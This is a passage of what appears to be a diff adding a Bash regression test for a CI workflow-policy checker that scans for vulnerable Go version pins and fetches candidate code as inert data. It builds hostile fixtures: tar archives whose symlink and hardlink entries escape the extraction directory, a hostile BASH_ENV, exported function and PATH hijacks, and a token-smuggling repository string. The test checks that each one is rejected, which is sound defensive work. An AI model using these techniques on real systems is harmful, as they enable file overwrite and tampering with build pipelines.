*'./visible.yml:1:PORTABILITY_MARKER'* ]]; then + echo "ambient PATH bash bypassed a workflow grep batch" >&2 + printf 'status=%s output=%s\n' "${status}" "${output}" >&2 + exit 1 + fi + # shellcheck disable=SC2329 # Exported-function interception regression. + printf() { + if [[ "$0" == _ ]]; then + return 0 + fi + command printf "$@" + } + # shellcheck disable=SC2329 # Exported-function interception regression. + exit() { + if [[ "$0" == _ ]]; then + return 0 + fi + command exit "$@" + } + # shellcheck disable=SC2329 # Exported-function interception regression. + builtin() { + if [[ "$0" == _ ]]; then + return 0 + fi + command builtin "$@" + } + export -f builtin exit printf + set +e + worker_match_output="$( + BASH_ENV="${hostile_bash_env}" ENV="${hostile_bash_env}" \ + grep_workflow_files_at "${workflow_root}" -FnH -- 'PORTABILITY_MARKER' 2>&1 + )" + worker_match_status=$? + worker_error_output="$( + BASH_ENV="${hostile_bash_env}" ENV="${hostile_bash_env}" \ + grep_workflow_files_at "${workflow_root}" \ + --portable-scan-invalid-option 2>&1 + )" + worker_error_status=$? + set -e + unset -f builtin exit printf + if [[ "${worker_match_status}" -ne 0 ]] || + [[ "${worker_match_output}" != *'./visible.yml:1:PORTABILITY_MARKER'* ]] || + [[ "${worker_error_status}" -le 1 ]] || + [[ "${worker_error_output}" != *'failed to scan top-level public workflow files'* ]]; then + echo "exported worker functions bypassed a workflow grep batch" >&2 + printf 'match_status=%s match_output=%s\nerror_status=%s error_output=%s\n' \ + "${worker_match_status}" "${worker_match_output}" \ + "${worker_error_status}" "${worker_error_output}" >&2 + exit 1 + fi + if [[ "$(workflow_match_count_at "${workflow_root}" 'npm ci')" != 1 ]] || + [[ "$(workflow_match_count_at "${workflow_root}" 'NODE_AUTH_TOKEN: \$\{\{ github.token \}\}')" != 1 ]]; then + echo "workflow match counts do not retain the exact lowercase .yml scope" >&2 + exit 1 + fi + + mkdir -p "${empty_workflow_root}/.github/workflows" + set +e + output="$(grep_workflow_files_at "${empty_workflow_root}" -FnH -- 'PORTABILITY_MARKER' 2>&1)" + status=$? + set -e + if [[ "${status}" -ne 1 ]] || [[ -n "${output}" ]] || + [[ "$(workflow_match_count_at "${empty_workflow_root}" 'npm ci')" != 0 ]]; then + echo "empty workflow scans do not report no-match cleanly" >&2 + exit 1 + fi + + printf 'Go %s hidden\n' "${legacy_go_patch}" >"${actual_root}/.hidden/untracked.txt" + printf 'Go %s nested plans\n' "${legacy_go_patch}" >"${actual_root}/nested/docs/plans/included.txt" + printf 'Go %s plans2\n' "${legacy_go_patch}" >"${actual_root}/docs/plans2/included.txt" + printf 'Go %s excluded root plans\n' "${legacy_go_patch}" >"${actual_root}/docs/plans/excluded.txt" + printf 'Go %s excluded git dir\n' "${legacy_go_patch}" >"${actual_root}/git-dir/.git/excluded.txt" + printf 'Go %s excluded git file\n' "${legacy_go_patch}" >"${actual_root}/git-file/.git" + printf 'Go %s excluded git link\n' "${legacy_go_patch}" >"${fixture_parent}/outside-git/excluded.txt" + ln -s ../../outside-git "${actual_root}/git-link/.git" + ln -s .hidden/untracked.txt "${actual_root}/ordinary-link.txt" + set +e + output="$(scan_active_go_pins_at "${actual_root}" 2>&1)" + status=$? + set -e + if [[ "${status}" -ne 0 ]] || + [[ "${output}" != *"./.hidden/untracked.txt:1:Go ${legacy_go_patch} hidden"* ]] || + [[ "${output}" != *"./nested/docs/plans/included.txt:1:Go ${legacy_go_patch} nested plans"* ]] || + [[ "${output}" != *"./docs/plans2/included.txt:1:Go ${legacy_go_patch} plans2"* ]] || + [[ "${output}" == *'excluded root plans'* ]] || + [[ "${output}" == *'excluded git'* ]] || + [[ "${output}" == *'ordinary-link.txt'* ]]; then + echo "actual archive scan does not retain the required recursive/pruning semantics" >&2 + printf '%s\n' "${output}" >&2 + exit 1 + fi + + printf 'Go %s regular plans file\n' "${legacy_go_patch}" >"${plans_file_root}/docs/plans" + set +e + output="$(scan_active_go_pins_at "${plans_file_root}" 2>&1)" + status=$? + set -e + if [[ "${status}" -ne 0 ]] || + [[ "${output}" != *"./docs/plans:1:Go ${legacy_go_patch} regular plans file"* ]]; then + echo "actual archive scan pruned a regular docs/plans file" >&2 + printf 'status=%s output=%s\n' "${status}" "${output}" >&2 + exit 1 + fi + + # shellcheck disable=SC2329 # Exported-function interception regression. + find() { return 0; } + export -f find + set +e + output="$(scan_active_go_pins_at "${actual_root}" 2>&1)" + status=$? + set -e + unset -f find + if [[ "${status}" -ne 0 ]] || + [[ "${output}" != *"./.hidden/untracked.txt:1:Go ${legacy_go_patch} hidden"* ]]; then + echo "exported find function bypassed actual archive enumeration" >&2 + exit 1 + fi + + # shellcheck disable=SC2329 # Exported-function interception regression. + xargs() { + command cat >/dev/null + return 0 + } + export -f xargs + set +e + output="$(scan_active_go_pins_at "${actual_root}" 2>&1)" + status=$? + set -e + unset -f xargs + if [[ "${status}" -ne 0 ]] || + [[ "${output}" != *"./.hidden/untracked.txt:1:Go ${legacy_go_patch} hidden"* ]]; then + echo "exported xargs function bypassed actual archive grep batches" >&2 + exit 1 + fi + + # shellcheck disable=SC2329 # Exported-function interception regression. + builtin() { printf '%s\n' "${real_true}"; } + export -f builtin + set +e + output="$(scan_active_go_pins_at "${actual_root}" 2>&1)" + status=$? + set -e + unset -f builtin + if [[ "${status}" -ne 0 ]] || + [[ "${output}" != *"./.hidden/untracked.txt:1:Go ${legacy_go_patch} hidden"* ]]; then + echo "exported builtin function bypassed executable resolution" >&2 + exit 1 + fi + + rm -rf "${actual_root}" + mkdir -p "${actual_root}" + printf '\0\nGo %s binary line\n' "${legacy_go_patch}" >"${actual_root}/binary.dat" + set +e + output="$(scan_active_go_pins_at "${actual_root}" 2>&1)" + status=$? + set -e + if [[ "${status}" -ne 0 ]] || + [[ "${output}" != *"./binary.dat:2:Go ${legacy_go_patch} binary line"* ]]; then + echo "actual archive binary diagnostic lost filename or line information" >&2 + printf '%s\n' "${output}" >&2 + exit 1 + fi + + printf '#!%s\n' "${trusted_scan_bash_binary}" >"${fake_bin}/grep" + cat >>"${fake_bin}/grep" <<'BASH' +set -euo pipefail +script_dir="${0%/*}" +IFS= read -r grep_log <"${script_dir}/grep-log" +grep_mode_path="${script_dir}/grep-mode" +if [[ ! -f "${grep_mode_path}" || ! -r "${grep_mode_path}" ]] || + ! grep_mode="$(<"${grep_mode_path}")"; then + echo "failed to read fake grep mode sidecar" >&2 + exit 65 +fi +IFS= read -r real_grep <"${script_dir}/real-grep" +printf 'x' >>"${grep_log}" +invocation_log="$(<"${grep_log}")" +invocation_count="${#invocation_log}" +case "${grep_mode}" in + real) exec "${real_grep}" "$@" ;; + error) echo "synthetic grep failure" >&2; exit 19 ;; + match-then-error) + if [[ "${invocation_count}" -eq 1 ]]; then + IFS= read -r legacy_pin <"${script_dir}/legacy-pin" + printf './synthetic-first-batch.txt:1:Go %s\n' "${legacy_pin}" + exit 0 + fi + echo "synthetic later grep failure" >&2 + exit 19 + ;; + *) echo "unknown fake grep mode: ${grep_mode}" >&2; exit 64 ;; +esac +BASH + cat >"${fake_bin}/find" <<'BASH' +#!/usr/bin/env bash +echo "synthetic find failure" >&2 +exit 17 +BASH + cat >"${fake_bin}/xargs" <<'BASH' +#!/usr/bin/env bash +echo "synthetic xargs failure" >&2 +exit 18 +BASH + chmod +x "${fake_bin}/grep" "${fake_bin}/find" "${fake_bin}/xargs" + IFS= read -r fake_grep_shebang <"${fake_bin}/grep" + if [[ "${fake_grep_shebang}" != "#!${trusted_scan_bash_binary}" ]]; then + echo "fake grep does not use the trusted Bash interpreter" >&2 + printf 'shebang=%s\n' "${fake_grep_shebang}" >&2 + exit 1 + fi + configure_fake_grep() { + local bin_dir="$1" + local mode="$2" + printf '%s\n' "${fixture_parent}/grep.log" >"${bin_dir}/grep-log" + printf '%s\n' "${mode}" >"${bin_dir}/grep-mode" + printf '%s\n' "${real_grep}" >"${bin_dir}/real-grep" + printf '%s\n' "${legacy_go_patch}" >"${bin_dir}/legacy-pin" + } + + grep_proxy_bin="${fixture_parent}/grep-proxy-bin" + mkdir -p "${grep_proxy_bin}" + cp "${fake_bin}/grep" "${grep_proxy_bin}/grep" + configure_fake_grep "${grep_proxy_bin}" unknown + find_failure_bin="${fixture_parent}/find-failure-bin" + mkdir -p "${find_failure_bin}" + cp "${fake_bin}/find" "${find_failure_bin}/find" + + : >"${fixture_parent}/grep.log" + set +e + output="$(PATH="${grep_proxy_bin}:${PATH}" scan_active_go_pins_at "${actual_root}" 2>&1)" + status=$? + set -e + if [[ "${status}" -le 1 ]] || [[ "${output}" != *'unknown fake grep mode'* ]]; then + echo "unknown fake grep mode did not fail closed" >&2 + printf 'status=%s output=%s\n' "${status}" "${output}" >&2 + exit 1 + fi + + : >"${grep_proxy_bin}/grep-mode" + : >"${fixture_parent}/grep.log" + set +e + output="$(PATH="${grep_proxy_bin}:${PATH}" scan_active_go_pins_at "${actual_root}" 2>&1)" + status=$? + set -e + if [[ "${status}" -le 1 ]] || + [[ "${output}" != *'unknown fake grep mode: '* ]]; then + echo "empty fake grep mode did not fail closed" >&2 + printf 'status=%s output=%s\n' "${status}" "${output}" >&2 + exit 1 + fi + + rm -f "${grep_proxy_bin}/grep-mode" + : >"${fixture_parent}/grep.log" + set +e + output="$(PATH="${grep_proxy_bin}:${PATH}" scan_active_go_pins_at "${actual_root}" 2>&1)" + status=$? + set -e + if [[ "${status}" -le 1 ]] || + [[ "${output}" != *'failed to read fake grep mode sidecar'* ]]; then + echo "missing fake grep mode sidecar did not fail closed" >&2 + printf 'status=%s output=%s\n' "${status}" "${output}" >&2 + exit 1 + fi + + configure_fake_grep "${grep_proxy_bin}" real + : >"${fixture_parent}/grep.log" + set +e + output="$( + cd -- "${fixture_parent}" + PATH="grep-proxy-bin:${PATH}" \ + scan_active_go_pins_at "${actual_root}" 2>&1 + )" + status=$? + set -e + if [[ "${status}" -ne 0 ]] || + [[ "${output}" != *"./binary.dat:2:Go ${legacy_go_patch} binary line"* ]]; then + echo "relative PATH entry left the resolved grep path cwd-dependent" >&2 + printf '%s\n' "${output}" >&2 + exit 1 + fi + + for file_index in 0 1 64 65; do + rm -rf "${batch_root}" + mkdir -p "${batch_root}" + : >"${fixture_parent}/grep.log" + for ((invocation_count = 0; invocation_count < file_index; invocation_count++)); do + printf -v filename 'file-%03d.txt' "${invocation_count}" + printf 'current Go pin\n' >"${batch_root}/${filename}" + done + set +e + output="$( + PATH="${grep_proxy_bin}:${PATH}" \ + scan_active_go_pins_at "${batch_root}" 2>&1 + )" + status=$? + set -e + invocation_count="$(wc -c <"${fixture_parent}/grep.log" | tr -d ' ')" + case "${file_index}" in + 0) expected_invocations=0 ;; + 1|64) expected_invocations=1 ;; + 65) expected_invocations=2 ;; + esac + if [[ "${status}" -ne 1 ]] || [[ -n "${output}" ]] || + [[ "${invocation_count}" -ne "${expected_invocations}" ]]; then + echo "actual archive batching mismatch for ${file_index} files" >&2 + printf 'status=%s invocations=%s output=%s\n' \ + "${status}" "${invocation_count}" "${output}" >&2 + exit 1 + fi + done + + set +e + output="$(scan_active_go_pins_at "${fixture_parent}/missing-root" 2>&1)" + status=$? + set -e + if [[ "${status}" -le 1 ]] || + [[ "${output}" != *'failed to enter active/current Go pin scan root'* ]]; then + echo "missing actual archive root did not fail closed" >&2 + exit 1 + fi + + set +e + output="$(PATH="${find_failure_bin}:${PATH}" scan_active_go_pins_at "${batch_root}" 2>&1)" + status=$? + set -e + if [[ "${status}" -le 1 ]] || [[ "${output}" != *'synthetic find failure'* ]]; then + echo "actual archive find failure did not fail closed" >&2 + exit 1 + fi + + xargs_failure_bin="${fixture_parent}/xargs-failure-bin" + mkdir -p "${xargs_failure_bin}" + cp "${fake_bin}/xargs" "${xargs_failure_bin}/xargs" + set +e + output="$(PATH="${xargs_failure_bin}:${PATH}" scan_active_go_pins_at "${batch_root}" 2>&1)" + status=$? + set -e + if [[ "${status}" -le 1 ]] || [[ "${output}" != *'synthetic xargs failure'* ]]; then + echo "actual archive xargs transport failure did not fail closed" >&2 + exit 1 + fi + + grep_failure_bin="${fixture_parent}/grep-failure-bin" + mkdir -p "${grep_failure_bin}" + cp "${fake_bin}/grep" "${grep_failure_bin}/grep" + configure_fake_grep "${grep_failure_bin}" error + : >"${fixture_parent}/grep.log" + set +e + output="$( + PATH="${grep_failure_bin}:${PATH}" \ + scan_active_go_pins_at "${batch_root}" 2>&1 + )" + status=$? + set -e + if [[ "${status}" -le 1 ]] || [[ "${output}" != *'synthetic grep failure'* ]]; then + echo "actual archive grep failure did not fail closed" >&2 + printf 'status=%s output=%s\n' "${status}" "${output}" >&2 + exit 1 + fi + + rm -rf "${batch_root}" + mkdir -p "${batch_root}" + for ((file_index = 0; file_index < 65; file_index++)); do + printf -v filename 'file-%03d.txt' "${file_index}" + printf 'current Go pin\n' >"${batch_root}/${filename}" + done + : >"${fixture_parent}/grep.log" + configure_fake_grep "${grep_failure_bin}" match-then-error + set +e + output="$( + PATH="${grep_failure_bin}:${PATH}" \ + scan_active_go_pins_at "${batch_root}" 2>&1 + )" + status=$? + set -e + if [[ "${status}" -le 1 ]] || + [[ "${output}" != *"./synthetic-first-batch.txt:1:Go ${legacy_go_patch}"* ]] || + [[ "${output}" != *'synthetic later grep failure'* ]]; then + echo "later grep failure was hidden by an earlier matching batch" >&2 + printf '%s\n' "${output}" >&2 + exit 1 + fi +) + +run_portable_scan_regressions + +if active_go_1264="$(scan_active_go_pins 2>&1)"; then + echo "active/current Go pins still reference vulnerable Go ${legacy_go_patch}" >&2 + printf '%s\n' "${active_go_1264}" >&2 + exit 1 +elif [[ "$?" -ne 1 ]]; then + echo "failed to audit active/current Go pins" >&2 + printf '%s\n' "${active_go_1264}" >&2 + exit 1 +fi + +(cd "${archive_repo}" && ./scripts/check-public-workflow-policy.sh --scan-root "${archive_repo}") >/dev/null + +archive_repo_alias="${archive_copy_root}/repo-alias" +ln -s "${archive_repo}" "${archive_repo_alias}" +(cd "${archive_repo_alias}" && ./scripts/check-public-workflow-policy.sh --scan-root "${archive_repo_alias}") >/dev/null + +archive_checker_link="${archive_copy_root}/linked-checker.sh" +ln -s "${archive_checker}" "${archive_checker_link}" +set +e +archive_link_output="$(cd "${archive_repo}" && "${archive_checker_link}" --scan-root "${archive_repo}" 2>&1)" +archive_link_status=$? +set -e +if [[ "${archive_link_status}" -eq 0 ]] || ! grep -Fq -- "policy wrapper path must not be a symlink" <<<"${archive_link_output}"; then + echo "policy wrapper accepted a symlinked entry path" >&2 + printf '%s\n' "${archive_link_output}" >&2 + exit 1 +fi + +mkdir -p "${archive_copy_root}/misplaced" +misplaced_checker="${archive_copy_root}/misplaced/check-public-workflow-policy.sh" +cp "${archive_checker}" "${misplaced_checker}" +set +e +misplaced_output="$(cd "${archive_repo}" && "${misplaced_checker}" --scan-root "${archive_repo}" 2>&1)" +misplaced_status=$? +set -e +if [[ "${misplaced_status}" -eq 0 ]] || ! grep -Fq -- "policy wrapper must reside in scripts" <<<"${misplaced_output}"; then + echo "policy wrapper accepted an invalid repository layout" >&2 + printf '%s\n' "${misplaced_output}" >&2 + exit 1 +fi + +module_graph_probe="${tmp_dir}/module-graph-probe.sh" +awk ' + $0 == "# BEGIN root-module-graph-check" { in_probe=1; next } + $0 == "# END root-module-graph-check" { exit } + in_probe { print } +' "$0" >"${module_graph_probe}" +fake_go_bin="${tmp_dir}/fake-go-bin" +mkdir -p "${fake_go_bin}" +cat >"${fake_go_bin}/go" <<'BASH' +#!/usr/bin/env bash +exit 42 +BASH +chmod +x "${fake_go_bin}/go" +set +e +PATH="${fake_go_bin}:$PATH" bash -euo pipefail "${module_graph_probe}" >/dev/null 2>&1 +module_graph_failure_status=$? +set -e +if [[ "${module_graph_failure_status}" -ne 42 ]]; then + echo "root module graph command failure did not fail closed" >&2 + exit 1 +fi + +candidate_fetch_script="${tmp_dir}/fetch-candidate.sh" +awk ' + $0 == " - name: Fetch candidate as inert data" { in_step=1; next } + in_step && $0 == " run: |" { in_run=1; next } + in_run && /^ - name:/ { exit } + in_run { sub(/^ /, ""); print } +' "${governance_workflow}" >"${candidate_fetch_script}" +fake_bin="${tmp_dir}/fake-bin" +fake_archive="${tmp_dir}/fake-archive" +mkdir -p "${fake_bin}" "${fake_archive}/.github/workflows" +printf 'name: inert candidate\n' >"${fake_archive}/.github/workflows/inert.yml" +cat >"${fake_bin}/git" <<'BASH' +#!/usr/bin/env bash +set -euo pipefail +[[ "${GIT_ASKPASS}" == /bin/false ]] +[[ "${GIT_CONFIG_GLOBAL}" == /dev/null ]] +[[ "${GIT_CONFIG_NOSYSTEM}" == 1 ]] +[[ "${GIT_TERMINAL_PROMPT}" == 0 ]] +printf '%s\n' "$*" >>"${FAKE_GIT_LOG}" +case " $* " in + *" init --quiet "*) ;; + *" fetch "*) + [[ "$*" == *"https://github.com/example/repo.git ${CANDIDATE_SHA}"* ]] + ;; + *" rev-parse "*) printf '%s\n' "${FAKE_FETCHED_SHA:-${CANDIDATE_SHA}}" ;; + *" ls-tree "*) + if [[ -n "${FAKE_REAL_ARCHIVE_REPO:-}" ]]; then + /usr/bin/git -C "${FAKE_REAL_ARCHIVE_REPO}" ls-tree -r --format='%(objectmode)' HEAD + else + printf '%s\n' "${FAKE_LS_TREE_MODES:-100644}" + fi + ;; + *" archive "*) + if [[ -n "${FAKE_ARCHIVE_TAR:-}" ]]; then + /bin/cat "${FAKE_ARCHIVE_TAR}" + elif [[ -n "${FAKE_REAL_ARCHIVE_REPO:-}" ]]; then + archive_attributes=() + if [[ " $* " == *" --worktree-attributes "* ]]; then + archive_attributes+=(--worktree-attributes) + fi + /usr/bin/git -C "${FAKE_REAL_ARCHIVE_REPO}" archive "${archive_attributes[@]}" --format=tar HEAD + else + /usr/bin/tar -cf - -C "${FAKE_ARCHIVE_ROOT}" . + fi + ;; + *) echo "unexpected fake git invocation: $*" >&2; exit 2 ;; +esac +BASH +chmod +x "${fake_bin}/git" +cat >"${fake_bin}/tar" <<'BASH' +#!/usr/bin/env bash +set -euo pipefail +printf '%s\n' "$*" >>"${FAKE_TAR_LOG}" +exec /usr/bin/tar "$@" +BASH +chmod +x "${fake_bin}/tar" + +run_candidate_fetch() { + local workdir="$1" + local repository="$2" + local sha="$3" + local archive_root="$4" + mkdir -p "${workdir}" + ( + cd "${workdir}" + PATH="${fake_bin}:$PATH" \ + CANDIDATE_REPOSITORY="${repository}" \ + CANDIDATE_SHA="${sha}" \ + GIT_ASKPASS=/bin/false \ + GIT_CONFIG_GLOBAL=/dev/null \ + GIT_CONFIG_NOSYSTEM=1 \ + GIT_TERMINAL_PROMPT=0 \ + FAKE_GIT_LOG="${workdir}/git.log" \ + FAKE_TAR_LOG="${workdir}/tar.log" \ + FAKE_ARCHIVE_ROOT="${archive_root}" \ + FAKE_ARCHIVE_TAR="${FAKE_ARCHIVE_TAR:-}" \ + FAKE_LS_TREE_MODES="${FAKE_LS_TREE_MODES:-100644}" \ + bash -euo pipefail "${candidate_fetch_script}" + ) +} + +candidate_sha=0123456789012345678901234567890123456789 +candidate_fetch_good="${tmp_dir}/candidate-fetch-good" +run_candidate_fetch "${candidate_fetch_good}" example/repo "${candidate_sha}" "${fake_archive}" +test -f "${candidate_fetch_good}/candidate/.github/workflows/inert.yml" +test -f "${candidate_fetch_good}/candidate.tar" +test -f "${candidate_fetch_good}/candidate.tar.list" +grep -Fq -- "credential.helper=" "${candidate_fetch_good}/git.log" +grep -Fq -- "core.askPass=/bin/false" "${candidate_fetch_good}/git.log" +grep -Fq -- "credential.interactive=never" "${candidate_fetch_good}/git.log" +grep -Fq -- "http.https://github.com/.extraheader=" "${candidate_fetch_good}/git.log" +grep -Fq -- "https://github.com/example/repo.git ${candidate_sha}" "${candidate_fetch_good}/git.log" +grep -Fq -- "ls-tree -r --format=%(objectmode) FETCH_HEAD" "${candidate_fetch_good}/git.log" +if [[ "$(grep -Fc -- ' archive ' "${candidate_fetch_good}/git.log")" -ne 1 ]]; then + echo "candidate fetch did not create exactly one candidate archive" >&2 + exit 1 +fi +grep -Fq -- "-tvf candidate.tar" "${candidate_fetch_good}/tar.log" +grep -Fq -- "--extract --file=candidate.tar --directory=candidate --no-same-owner --no-same-permissions" "${candidate_fetch_good}/tar.log" + +for invalid_candidate in \ + 'bad-repository|example/repo?token=leak|0123456789012345678901234567890123456789' \ + 'short-sha|example/repo|0123456789'; do + IFS='|' read -r label repository sha <<<"${invalid_candidate}" + if run_candidate_fetch "${tmp_dir}/candidate-${label}" "${repository}" "${sha}" "${fake_archive}" >/dev/null 2>&1; then + echo "candidate fetch accepted ${label}" >&2 + exit 1 + fi +done + +mismatched_candidate_sha=ffffffffffffffffffffffffffffffffffffffff +candidate_fetch_mismatch="${tmp_dir}/candidate-fetch-mismatch" +if FAKE_FETCHED_SHA="${mismatched_candidate_sha}" \ + run_candidate_fetch "${candidate_fetch_mismatch}" example/repo "${candidate_sha}" "${fake_archive}" >/dev/null 2>&1; then + echo "candidate fetch accepted a mismatched fetched commit" >&2 + exit 1 +fi +if grep -Fq -- " archive " "${candidate_fetch_mismatch}/git.log"; then + echo "candidate fetch archived data before verifying commit identity" >&2 + exit 1 +fi + +for denied_mode in 120000 160000; do + candidate_mode_workdir="${tmp_dir}/candidate-mode-${denied_mode}" + set +e + candidate_mode_output="$(FAKE_LS_TREE_MODES="${denied_mode}" \ + run_candidate_fetch "${candidate_mode_workdir}" example/repo "${candidate_sha}" "${fake_archive}" 2>&1)" + candidate_mode_status=$? + set -e + if [[ "${candidate_mode_status}" -eq 0 ]] || ! grep -Fq -- \ + "candidate tree contains forbidden object mode: ${denied_mode}" <<<"${candidate_mode_output}"; then + echo "candidate fetch accepted forbidden Git object mode ${denied_mode}" >&2 + printf '%s\n' "${candidate_mode_output}" >&2 + exit 1 + fi + if grep -Fq -- " archive " "${candidate_mode_workdir}/git.log"; then + echo "candidate fetch archived data before rejecting Git object mode ${denied_mode}" >&2 + exit 1 + fi + if [[ -s "${candidate_mode_workdir}/tar.log" ]]; then + echo "candidate fetch invoked tar before rejecting Git object mode ${denied_mode}" >&2 + exit 1 + fi +done + +symlink_archive_link_stage="${tmp_dir}/symlink-archive-link-stage" +symlink_archive_payload_stage="${tmp_dir}/symlink-archive-payload-stage" +malicious_symlink_tar="${tmp_dir}/malicious-symlink.tar" +mkdir -p \ + "${symlink_archive_link_stage}/.github/workflows" \ + "${symlink_archive_payload_stage}/.github/workflows/escape" +ln -s ../../../trusted/escape-target \ + "${symlink_archive_link_stage}/.github/workflows/escape" +printf 'attacker overwrite\n' >"${symlink_archive_payload_stage}/.github/workflows/escape/sentinel" +/usr/bin/tar -cf "${malicious_symlink_tar}" \ + -C "${symlink_archive_link_stage}" .github/workflows/escape +/usr/bin/tar -rf "${malicious_symlink_tar}" \ + -C "${symlink_archive_payload_stage}" .github/workflows/escape/sentinel + +candidate_symlink_tar="${tmp_dir}/candidate-symlink-tar" +symlink_expected_sentinel="${tmp_dir}/symlink-expected-sentinel" +symlink_external_sentinel="${candidate_symlink_tar}/trusted/escape-target/sentinel" +mkdir -p "$(dirname "${symlink_external_sentinel}")" +printf 'trusted symlink sentinel\n' >"${symlink_expected_sentinel}" +chmod 0640 "${symlink_expected_sentinel}" +cp -p "${symlink_expected_sentinel}" "${symlink_external_sentinel}" +set +e +candidate_symlink_output="$(FAKE_ARCHIVE_TAR="${malicious_symlink_tar}" \ + run_candidate_fetch "${candidate_symlink_tar}" example/repo "${candidate_sha}" "${fake_archive}" 2>&1)" +candidate_symlink_status=$? +set -e +if [[ "${candidate_symlink_status}" -eq 0 ]] || ! grep -Fq -- \ + "candidate archive contains a forbidden entry type" <<<"${candidate_symlink_output}"; then + echo "candidate fetch accepted a sibling-escaping symlink archive" >&2 + printf '%s\n' "${candidate_symlink_output}" >&2 + exit 1 +fi +grep -Fq -- ".github/workflows/escape -> ../../../trusted/escape-target" \ + "${candidate_symlink_tar}/candidate.tar.list" +grep -Fq -- ".github/workflows/escape/sentinel" \ + "${candidate_symlink_tar}/candidate.tar.list" +if ! grep -Fq -- "-tvf candidate.tar" "${candidate_symlink_tar}/tar.log"; then + echo "candidate fetch did not inspect a symlink archive before rejection" >&2 + exit 1 +fi +if grep -Eq -- '(^| )(-[^ ]*x[^ ]*|--extract)( |$)' "${candidate_symlink_tar}/tar.log"; then + echo "candidate fetch extracted a symlink archive before rejection" >&2 + exit 1 +fi +assert_file_unchanged \ + "trusted symlink sentinel" "${symlink_expected_sentinel}" "${symlink_external_sentinel}" + +hardlink_archive_stage="${tmp_dir}/hardlink-archive-stage" +malicious_hardlink_tar="${tmp_dir}/malicious-hardlink.tar" +mkdir -p "${hardlink_archive_stage}" +printf 'hardlink source\n' >"${hardlink_archive_stage}/source" +ln "${hardlink_archive_stage}/source" "${hardlink_archive_stage}/special-hardlink" +/usr/bin/tar -cf "${malicious_hardlink_tar}" \ + -C "${hardlink_archive_stage}" source special-hardlink + +candidate_hardlink_tar="${tmp_dir}/candidate-hardlink-tar" +hardlink_expected_sentinel="${tmp_dir}/hardlink-expected-sentinel" +hardlink_external_sentinel="${candidate_hardlink_tar}/trusted/escape-target/sentinel" +mkdir -p "$(dirname "${hardlink_external_sentinel}")" +printf 'trusted hardlink sentinel\n' >"${hardlink_expected_sentinel}" +chmod 0600 "${hardlink_expected_sentinel}" +cp -p "${hardlink_expected_sentinel}" "${hardlink_external_sentinel}" +set +e +candidate_hardlink_output="$(FAKE_ARCHIVE_TAR="${malicious_hardlink_tar}" \ + run_candidate_fetch "${candidate_hardlink_tar}" example/repo "${candidate_sha}" "${fake_archive}" 2>&1)" +candidate_hardlink_status=$? +set -e +if [[ "${candidate_hardlink_status}" -eq 0 ]] || ! grep -Fq -- \ + "candidate archive contains a forbidden entry type" <<<"${candidate_hardlink_output}"; then + echo "candidate fetch accepted a hardlink archive entry" >&2 + printf '%s\n' "${candidate_hardlink_output}" >&2 + exit 1 +fi +if ! grep -Eq -- '^h.*special-hardlink' "${candidate_hardlink_tar}/candidate.tar.list"; then + echo "hardlink archive fixture did not contain a hardlink entry" >&2 + exit 1 +fi +if ! grep -Fq -- "-tvf candidate.tar" "${candidate_hardlink_tar}/tar.log"; then + echo "candidate fetch did not inspect a hardlink archive before rejection" >&2 + exit 1 +fi +if grep -Eq -- '(^| )(-[^ ]*x[^ ]*|--extract)( |$)' "${candidate_hardlink_tar}/tar.log"; then + echo "candidate fetch extracted a hardlink archive before rejection" >&2 + exit 1 +fi +assert_file_unchanged \ + "trusted hardlink sentinel" "${hardlink_expected_sentinel}" "${hardlink_external_sentinel}" + +real_attribute_repo="${tmp_dir}/real-attribute-repo" +mkdir -p "${real_attribute_repo}/.github/workflows" +git -C "${real_attribute_repo}" init --quiet +git -C "${real_attribute_repo}" config user.name policy-test +git -C "${real_attribute_repo}" config user.email policy-test@example.invalid +git -C "${real_attribute_repo}" config commit.gpgsign false +printf '.github/workflows/hidden.yml export-ignore\n' >"${real_attribute_repo}/.gitattributes" +printf 'name: must remain visible\n' >"${real_attribute_repo}/.github/workflows/hidden.yml" +git -C "${real_attribute_repo}" add . +git -C "${real_attribute_repo}" commit --quiet -m fixture +rm -rf "${real_attribute_repo}/.gitattributes" "${real_attribute_repo}/.github" +candidate_fetch_attributes="${tmp_dir}/candidate-fetch-attributes" +FAKE_REAL_ARCHIVE_REPO="${real_attribute_repo}" \ + run_candidate_fetch "${candidate_fetch_attributes}" example/repo "${candidate_sha}" "${fake_archive}" +test -f "${candidate_fetch_attributes}/candidate/.github/workflows/hidden.yml" + +bootstrap_selector="${tmp_dir}/select-policy-root.sh" +awk ' + $0 == " - name: Select exact trusted policy root" { in_step=1; next } + in_step && $0 == " run: |" { in_run=1; next } + in_run && /^ - name:/ { exit } + in_run { sub(/^ /, ""); print } +' "${governance_workflow}" >"${bootstrap_selector}" +bootstrap_root="${tmp_dir}/bootstrap" +mkdir -p "${bootstrap_root}/candidate/scripts" +printf '#!/usr/bin/env bash\n' >"${bootstrap_root}/candidate/scripts/check-public-workflow-policy.sh" +chmod +x "${bootstrap_root}/candidate/scripts/check-public-workflow-policy.sh" +bootstrap_output="${tmp_dir}/bootstrap-output" +(cd "${bootstrap_root}" && BEFORE_SHA=9c364dd4e6dad83808f8a87c1ba990d0132f0372 EVENT_NAME=push GITHUB_OUTPUT="${bootstrap_output}" bash "${bootstrap_selector}") +grep -Fxq -- 'root=candidate' "${bootstrap_output}" +for rejected_before in \ + 9c364dd4e6dad83808f8a87c1ba990d0132f0371 \ + 0000000000000000000000000000000000000000 \ + ffffffffffffffffffffffffffffffffffffffff; do + set +e + (cd "${bootstrap_root}" && BEFORE_SHA="${rejected_before}" EVENT_NAME=push GITHUB_OUTPUT="${bootstrap_output}" bash "${bootstrap_selector}") >/dev/null 2>&1 + bootstrap_status=$? + set -e + if [[ "${bootstrap_status}" -eq 0 ]]; then + echo "bootstrap accepted non-exact prior SHA ${rejected_before}" >&2 + exit 1 + fi +done +set +e +(cd "${bootstrap_root}" && BEFORE_SHA=9c364dd4e6dad83808f8a87c1ba990d0132f0372 EVENT_NAME=pull_request_target GITHUB_OUTPUT="${bootstrap_output}" bash "${bootstrap_selector}") >/dev/null 2>&1 +bootstrap_pr_status=$? +set -e +if [[ "${bootstrap_pr_status}" -eq 0 ]]; then + echo "bootstrap accepted exact SHA outside the push event" >&2 + exit 1 +fi +mkdir -p "${bootstrap_root}/trusted/scripts" +printf '#!/usr/bin/env bash\n' >"${bootstrap_root}/trusted/scripts/check-public-workflow-policy.sh" +chmod +x "${bootstrap_root}/trusted/scripts/check-public-workflow-policy.sh" +: >"${bootstrap_output}" +(cd "${bootstrap_root}" && 